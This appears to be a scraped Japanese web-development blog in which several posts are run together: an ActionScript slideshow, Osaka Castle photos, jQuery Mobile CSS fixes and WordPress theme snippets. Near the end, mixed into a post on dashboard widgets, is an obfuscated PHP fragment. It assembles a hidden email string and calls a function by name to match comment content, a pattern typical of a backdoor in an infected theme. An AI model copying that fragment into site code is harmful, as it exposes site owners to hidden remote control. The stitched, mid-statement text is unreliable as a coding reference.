Math.floor(Math.random() * (i + 1)); var t:Object = img_array[i]; img_array[i] = img_array[j]; img_array[j] = t; } //最初のスライド表示 Img_Gallery(img_array[0].path); //読み込み後クリア myLoader.removeEventListener(Event.COMPLETE, arguments.callee); myXML = null; //タイマー実行 myTimer = new Timer(time_num*1000); myTimer.addEventListener(TimerEvent.TIMER, Img_Slide); myTimer.start(); } //次のイメージを指定する function Img_Slide(e:TimerEvent):void { if (n >= img_array.length-1) { n = 1; m = img_array.length-1; } else { n ++; m = n-1; } Img_Gallery(); } //スライドショー function Img_Gallery():void { var imgArea_mc:MovieClip = new MovieClip(); addChildAt(imgArea_mc,0); var imgLoader:Loader = new Loader(); imgArea_mc.name = "img" + n; var url:String = img_array[n].path.toString(); var urlReq:URLRequest = new URLRequest(url); //画像読み込み用 imgLoader.load(urlReq); imgLoader.contentLoaderInfo.addEventListener( Event.COMPLETE , setTransition); function setTransition(e:Event):void { //画像を縮小してステージの中央に配置 var imgX:Number = stage.stageWidth / imgLoader.width; imgLoader.scaleX = imgX; imgLoader.scaleY = imgX; imgLoader.x = (stage.stageWidth - imgLoader.width )/2; imgLoader.y = (stage.stageHeight - imgLoader.height )/2; imgArea_mc.addChild(imgLoader); if (m) { var current_mc = MovieClip(getChildByName("img"+ m)); var next_mc = MovieClip(getChildByName("img"+ n)); var myTransition:TransitionManager = new TransitionManager(current_mc); myTransition.startTransition({type:transType, direction:1, duration:2, easing:Regular.easeIn, xSections:10, ySections:10}); imgTween = new Tween(next_mc,"alpha", None.easeOut,0,1,2,true); imgTween.addEventListener(TweenEvent.MOTION_FINISH, removeImg); //メモリクリア function removeImg(event:TweenEvent):void { imgLoader.contentLoaderInfo.removeEventListener(Event.COMPLETE, arguments.callee); imgTween.removeEventListener(TweenEvent.MOTION_FINISH, arguments.callee); removeChild(current_mc); current_mc = null; } } } } } }}さらに、画像のリンク機能などをつけたスライドショーは、下記のリンクからどうぞ。
下記のサイト様を参考にさせていただきました。ありがとうございます。
NORIのFlashユーザのためのMovable Type講座 gihyo.jp版：第5回 Flash側：画像ファイルを読み込む｜gihyo.jp ... 技術評論社
FLASHのお勉強_TransitionManagerクラスを使ったスライドショー_アクションスクリプトaction script
ADD CHILD = AS3 - TransitionManagerクラスを使ってトランジションさせる[3-6]
12月6日に大阪城公園にロケｰションに行ってきました。koyu写に掲載漏れした写真を何点かピックアップいたします。まずは大阪城。この日は曇り空だったのですが、さすがCANONの一眼レフ。暗いなりにシャープに撮ってくれます。
森ノ宮駅から大阪城公園に入園すると一番最初に出くわす噴水です。どこかの大学の陸上部がきてランニングでウォーミングアップをされていました。
お堀の冊で休む都鳥（ゆりかもめ）
近くの安治川から時々飛来するのかも。
地図でみると大阪城と安治川は近いですね。
大阪城横にある大阪ビジネスパーク
安治川に合流する地点で水上バスが来ました。
こちらは今話題の水陸両用バスではありませんんでした。アクアライナー。
]]>そこでjQuery Mobileの「data-role=”listview”」で定義される
リストのデザイン変更について若干調べてみました。
今回は「data-role=”listview”」のリストに内包されるコンテンツの＜width＞横幅の設定変更（デフォでは右側①の空きが気になります）と右側に用意されるマーク②の色の変更、「data-role=”listview”」のリストの外側③のmarginの変更をしてみました。
①＜width＞横幅の設定変更
【html】
<ul data-role=”listview” data-inset=”true”>
<li>□□□□□</li>
</ul>
「data-role=”listview”」のリストに内包されるコンテンツ<li>□□□□□</li>のデフォルト設定では右側①の部分に間の抜けた空きが出来てしまうので、その部分をCSSで変更します。
jQuery Mobileのサイトよりダウンロードした元CSS「jquery.mobile-1.0b1.css」1411行目あたりにある
【CSS】
.ui-btn-icon-right .ui-btn-inner { padding-right: 33px; }
を今回作成したテーマのstyle.cssにコピーします。
②「data-role=”listview”」のリストに生成されるマークの色の変更
jQuery Mobileのサイトよりダウンロードした元CSS「jquery.mobile-1.0b1.css」697行目あたりにある
/* —Icons—*/
.ui-icon-arrow-r {
background:#FF9933;
background-image: url(images/icons-18-white.png);
background-position: -108px 50%;
}
.ui-icon-arrow-u {
background: #FF9933;
background-image: url(images/icons-18-white.png);
background-position: -180px 50%;
}
を今回作成したテーマのstyle.cssにコピーします。
赤文字部分を任意の色に設定変更します。
それだけではアイコン画像がなぜかリンク切れで非表示になるのでjQuery Mobileのサイトよりダウンロードしたアイコン画像の入った「images」フォルダーをサーバーにアップします。
すると下の写真のように丁度良い具合の見た目に変化しました。
③「data-role=”listview”」のリストの外側のmarginの変更をする。
style.cssに下記のコードを記して赤文字部分で任意のmarginに変更します。
.ui-content{ margin: -5px; position: relative; }
丁度良い具合に変更できたのではないでしょうか？
]]>
制作するときに下記のサイトを参考にしました。
参考サイト
http://www.catswhocode.com/blog/how-to-create-a-mobile-wordpress-theme-with-jquery-mobile
今回のjQuery Mobileは1ページで作らずに
既存のwordpressのテーマにjQuery Mobileを呼び込む要素を配置する方法で複数ページで作成しました。
その時にjQuery Mobileの仕様で内部リンクのページ遷移で下記ような
等のエラーが出ていたので下記のサイトを参考に修正しました。
参考サイト
http://dev.screw-axis.com/doc/jquery_mobile/components/pages_dialogs/anatomy_page/
回避作として「Back」ボタンや「戻る」ボタンのリンクに対して「rel=”external”」か「data-ajax=”false”」のいずれかを追加します。
<a href=”http://kys-web.com/maeda/lab/” rel=”external”>HOME</a>
また、スマートフォンごとにテーマを振り分けるプラグインとして
「WPtap Mobile Detector」を使用しました。
http://wordpress.org/extend/plugins/wptap-mobile-detector/
この辺もwordpressは便利ですね。
]]>また、iphoneは横持ちと縦持ちで表示比率が変わります。
その場合は専用テーマのCSSで
画像<img>のプロパティのwidthとheightの設定で回避してみます。
img{
width:100%;
height:auto;
}
こう設定することで、すでに記事に挿入済みの画像が
横100％、縦は横の表示に合わせた比率に自動的に変化してくれます。
ipadでも表示されますが、少し画像が大きく感じるでしょう。
]]>
IEで見ると画像の下に隙間ができる現象。
IEの独自の設定でbaselineになっているから。
そこでCSSで修正
img {
vertical-align: top;
}
と記入すると修正できる。
※vertical-align: top;はbottomとしてもよい。
]]>
phpmayadminからダウンロードしたsqlのデータをDreamweaverなどで開き
パスの置き換えを行う。
httpから始まるものや、/virtual/から始まるルートパスを置換する。
その際、xserver側であらかじめwordpressがインストールして使用しているものがあれば
そのDBをダウンロードして中を開いてみれば変更箇所の参考になる。
この2つのメソッド。
とても大切なものらしい。
wordpress3.1にバージョンアップするとログイン中はサイトとダッシュボード内の上部に管理バーが出るが、今回自作テーマに関してサイトの方に表示されなかった。
twentytenや人のテーマには表示されるのに、自分の作ったテーマには表示されない？
このままでは気持ち悪いのでいろいろ調べていくと、
この管理バーは<?php wp_footer(); ?>というメソッドで呼び出されているらしい。ということが分かりました。
この一文が抜けていたので表示されなかった。
header部の</head>タグの直前に入れる<?php wp_head(); ?>は
以前plugin関連で動作しない時に調べて入れていたのだが、
footer部の</body>タグの直前に入れる<?php wp_footer(); ?>に関してはまったく知らなかった。
今後自作テーマをつくる際は2つのメソッドは必須としておいた方が良いだろう。
]]>記事抜粋で設定文字数を超えると表示される[...]これ。WordPress 2.9 以降では、excerpt_more フィルターを使って変更することができるらしい。
[php]
<?php
add_filter(‘excerpt_more’, ‘new_excerpt_more’);
function new_excerpt_more($post) {
return ‘ … <a href=”‘. get_permalink($post->ID) .’”>’.'続きを読む>>’.'</a>’;
}?>
[/php]
以上のコードをfunction.phpに記述してサーバーにアップする。
なぜか画面が白くなるエラーが出る場合があるので、その場合は
[php]
<?php
function new_excerpt_more($post) {
return ‘… <br/><a href=”‘. get_permalink($post->ID) . ‘”>’ . ‘…続きを読む’ . ‘</a>’;
}
add_filter(‘excerpt_more’, ‘new_excerpt_more’);
?>
[/php]
こちらを使ってみる。
]]>
上の図のように装飾したい場合
CSSでtext-indentプロパティーとpadding-leftプロパティーを使って表現することができます。
【HTML】
[php]
<ul>
<li> 2010年10月26日 3つめのサンプルを入荷いたしましたが、
これについては後日発売日を発表いたします
</li>
</ul>
[/php]
【CSS】
[php]
ul li{
padding-left: 120px; /*120px分、右に動かす*/
text-indent: -120px; /*最初の行だけ120px分、左に動かす*/
}
[/php]
※ただし、下げ幅の値はブラウザによって見え方に誤差が生じるので注意が必要です。
]]>
blogやCMSには必ずといっていいほど検索フォームがでてきます。
wordpressの送信ボタンを画像に置き換えて装飾します。
【html】
<form method=”get” id=”searchform” action=”<?php bloginfo(‘home’); ?>/”>
<div>
<input type=”text” value=”Search” name=”s” id=”s” onfocus=”if (this.value == ‘Search’) {this.value = ”;}” onblur=”if (this.value == ”) {this.value = ‘Search’;}” />
<input type=”image” id=”searchsubmit” src=”<?php bloginfo(‘template_url’); ?>/img/button.png” alt=”送信する” width=”45″ height=”25″ value=”<?php _e(‘Search’,'kubrik’); ?>” />
</div>
</form>
【CSS】
#searchform{
text-align:center;
width:205px;
height:35px;
position:absolute;
top:44px;
right:30px;
margin:0;
padding:0;
background:url(img/seach_back.png) no-repeat top left;
}
#searchform #s{
margin:9px 0 0 11px;
width: 130px;
height: 20px;
border:none;
float:left;
}
#searchform #searchsubmit{
margin:4px 4px 0 0;
float:right;
}
重用なのはCSSの中で
#searchform #sと#searchform #searchsubmitのところで
それぞれ
float:left; float:right;
としているところ
marginがきれいにそろってくれます。
]]>（※改行は私が入れました）$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";$text_s=substr($sq1, stripos($sq1, "live"), 20);$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";function my_remove_dashboard_widgets() { global $wp_meta_boxes; unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);//被リンク unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);//現在の状況 unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);//プラグイン unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);//最近のコメント unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);//クイック投稿 unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);//最近の下書き unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);//WordPress開発ブログ unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);//WordPressフォーラム}add_action('wp_dashboard_setup', 'my_remove_dashboard_widgets' );function my_remove_dashboard_widgets() { global $wp_meta_boxes; unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_incoming_links']);//被リンク unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);//現在の状況 unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);//プラグイン unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_recent_comments']);//最近のコメント unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_quick_press']);//クイック投稿 unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_recent_drafts']);//最近の下書き unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);//WordPress開発ブログ unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);//WordPressフォーラム wp_add_dashboard_widget( 'my_sample_dashboard_widget1', 'サンプルウィジェット1', 'my_sample_dashboard_widget1' ); }function my_sample_dashboard_widget1 () { ?> <p>サンプルウィジェット1です。</p> <p>このように自由に追加できます。<br /> WordPressで作成したサイトを納品する場合、オリジナルのダッシュボードでお客様と質問のやりとりやバージョンアップのお知らせなどを行うと効果的かもしれません。</p> <?php}add_action('wp_dashboard_setup', 'my_remove_dashboard_widgets' );<Files update-core.php>
AddHandler application/x-httpd-phpcgi .php
</Files>
<Files *.php>
AddHandler application/x-httpd-phpcgi .php
</Files>
<files load-styles.php>
AddHandler application/x-httpd-php .php
</files>
これで、CSSが利くようになりました。